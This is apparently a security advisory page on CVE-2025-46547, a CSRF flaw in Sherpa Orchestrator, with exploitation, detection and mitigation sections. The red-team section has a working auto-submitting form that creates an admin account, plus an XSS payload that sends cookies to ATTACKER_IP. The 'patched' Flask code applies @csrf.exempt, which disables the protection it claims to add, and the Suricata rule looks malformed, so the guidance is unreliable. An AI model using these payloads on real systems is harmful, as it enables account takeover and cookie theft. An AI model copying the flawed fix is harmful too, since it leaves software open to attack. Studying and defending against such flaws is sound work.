CVE-2025-46547
Executive Summary
CVE-2025-46547 identifies a critical security flaw in Sherpa Orchestrator version 141851. The web application lacks protection against Cross-Site Request Forgery (CSRF) attacks. This vulnerability allows an attacker to trick an authenticated administrator into unknowingly executing malicious actions. The resultant effects are severe: an attacker can conduct Cross-Site Scripting (XSS) attacks, add new users or roles, or exploit a SQL injection issue. The CVSS score is 5.4 (Medium), but the chained impact (CSRF leading to XSS, privilege escalation, or SQLi) significantly elevates the risk. No patch is currently available, and no public exploit code has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 5.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
- Attack Vector (AV): Network (N) - The attack can be launched remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
- User Interaction (UI): Required (R) - The victim (an authenticated admin) must click a malicious link or visit a crafted page.
- Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) - Limited information disclosure possible via XSS or SQLi.
- Integrity (I): Low (L) - Limited ability to modify data (e.g., adding a user).
- Availability (A): Low (L) - Limited impact on service availability.
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential for chained attacks (CSRF -> XSS/SQLi/Privilege Escalation) makes this a significant threat for organizations using Sherpa Orchestrator.
Deep Dive & Mechanics
The vulnerability is a classic Cross-Site Request Forgery (CSRF) flaw. The Sherpa Orchestrator web application does not implement any anti-CSRF tokens (e.g., synchronizer tokens, double-submit cookies) in its state-changing requests (e.g., user creation, role modification, data submission).
Attack Flow:
- An attacker crafts a malicious HTML page or email containing a forged request.
- The forged request targets a sensitive endpoint in Sherpa Orchestrator (e.g.,
/admin/users/add,/admin/roles/create, or a search endpoint vulnerable to SQLi). - The attacker lures an authenticated administrator to visit the malicious page.
- The victim's browser automatically sends the forged request, including the victim's session cookies, to the Sherpa Orchestrator server.
- The server, lacking CSRF protection, processes the request as if it were legitimate, believing it came from the authenticated admin.
Chained Impacts:
- CSRF -> XSS: The attacker can inject malicious JavaScript into a configuration field (e.g., a site name or description) via a CSRF request. When the admin views that page, the script executes, stealing session tokens or performing actions on behalf of the admin.
- CSRF -> Privilege Escalation: The attacker can add a new user with administrative privileges or modify an existing user's role, granting themselves full control.
- CSRF -> SQL Injection: The attacker can exploit a SQL injection vulnerability in a parameter (e.g., a search query) via a CSRF request, potentially extracting the entire database.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.
Vulnerable Code (Conceptual - Sherpa Orchestrator 141851):
# Example: Flask route without CSRF protection
@app.route('/admin/users/add', methods=['POST'])
def add_user():
username = request.form['username']
password = request.form['password']
role = request.form['role']
# Directly creates user without checking CSRF token
create_user(username, password, role)
return redirect('/admin/users')
Patched Code (Expected Fix):
# Example: Flask route with CSRF protection
from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)
@app.route('/admin/users/add', methods=['POST'])
@csrf.exempt # Not recommended; use CSRF token validation
def add_user():
# CSRF token is automatically validated by Flask-WTF
username = request.form['username']
password = request.form['password']
role = request.form['role']
create_user(username, password, role)
return redirect('/admin/users')
Key Difference: The patched version includes a CSRF token (e.g., a hidden field in the form) that is validated on the server side. Without this token, the server rejects the request.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Target: A running instance of Sherpa Orchestrator 141851 (e.g., on a local VM or Docker container).
- Attacker Machine: Kali Linux or any system with a web browser and a simple HTTP server.
- Victim: An authenticated admin session in the target application.
Exploitation Steps:
Craft the Malicious HTML Page: Create an HTML file (
exploit.html) that automatically submits a forged request to add a new admin user.<html> <body> <h1>Click me!</h1> <form action="http://<TARGET_IP>/admin/users/add" method="POST" id="csrf_form"> <input type="hidden" name="username" value="attacker_admin"> <input type="hidden" name="password" value="P@ssw0rd!"> <input type="hidden" name="role" value="admin"> </form> <script> document.getElementById('csrf_form').submit(); </script> </body> </html>Host the Malicious Page:
python3 -m http.server 8080Lure the Victim: Send the link
http://<ATTACKER_IP>:8080/exploit.htmlto the authenticated admin (e.g., via email or social engineering).Verify: Once the admin visits the page, the form auto-submits. The attacker can then log in with
attacker_admin/P@ssw0rd!and have full control.
Chained XSS Example: If there is a vulnerable field (e.g., "Site Name"), the attacker can first inject XSS via CSRF:
<form action="http://<TARGET_IP>/admin/settings" method="POST">
<input type="hidden" name="site_name" value="<script>fetch('http://<ATTACKER_IP>/steal?cookie='+document.cookie)</script>">
</form>
Blue Team (Defensive)
Detection:
- Monitor for unexpected POST requests to sensitive endpoints (e.g.,
/admin/users/add,/admin/roles/create). - Look for requests with missing or invalid
Refererheaders (though not a reliable defense). - Use Web Application Firewall (WAF) rules to block requests that do not contain a valid CSRF token.
Hunting:
- Search logs for multiple failed login attempts followed by a successful login from a new IP (indicating a newly created user).
- Correlate user creation events with the absence of a corresponding form submission from the admin's IP.
Mitigation:
- Implement anti-CSRF tokens (e.g., synchronizer token pattern) in all state-changing forms.
- Use SameSite cookies (set to
LaxorStrict). - Validate the
OriginandRefererheaders on the server side.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/admin/users/add,/admin/roles/create, or similar endpoints without a valid CSRF token. - Requests with a
Refererheader pointing to an external domain.
- POST requests to
- System:
- Unexpected new user accounts in the Sherpa Orchestrator database.
- Modified user roles (e.g., a standard user elevated to admin).
- Unusual entries in the application logs (e.g., user creation events without a corresponding UI session).
- File:
- Presence of malicious JavaScript in configuration fields (e.g., site name, description).
Detection Engineering
YARA Rule
rule Detect_Sherpa_CSRF_Exploit {
meta:
description = "Detects CSRF exploit attempts against Sherpa Orchestrator"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-46547"
strings:
$csrf_form = /<form[^>]*action=["']http:\/\/[^"']*\/admin\/(users|roles|settings)["']/
$hidden_input = /<input[^>]*type=["']hidden["'][^>]*>/
$auto_submit = /document\.getElementById\(['"]csrf_form['"]\)\.submit\(\)/
condition:
all of them
}
Sigma Rule
title: Suspicious POST Request to Sherpa Orchestrator Admin Endpoints
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to sensitive Sherpa Orchestrator endpoints without a valid CSRF token.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
c-uri|contains:
- '/admin/users/add'
- '/admin/roles/create'
- '/admin/settings'
filter:
cs-uri-query|contains: '_csrf_token' # Assuming token is in query or body
condition: selection and not filter
falsepositives:
- Legitimate admin actions (if token is present)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-46547 - Sherpa Orchestrator CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/users/add"; http_uri; nocase; content:"!Referer|3a|"; http_header; pcre:"/Referer:\s*https?:\/\/(?!<TARGET_DOMAIN>)/Ri"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate: If possible, isolate the Sherpa Orchestrator instance from the internet or restrict access to trusted IPs only.
- Monitor: Enable detailed logging for all admin actions and monitor for suspicious activity.
- WAF: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block requests missing CSRF tokens.
Long-Term Fix:
- Patch: Await an official patch from Sherpa. In the meantime, apply a virtual patch by implementing CSRF protection manually (e.g., using a reverse proxy that injects CSRF tokens).
- Code Fix: Add anti-CSRF tokens to all state-changing forms. Use a well-vetted library (e.g., OWASP CSRFGuard for Java, Flask-WTF for Python).
- Security Headers: Set
SameSite=LaxorStricton session cookies. - User Education: Train administrators to be cautious of unsolicited links and to verify the URL before clicking.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.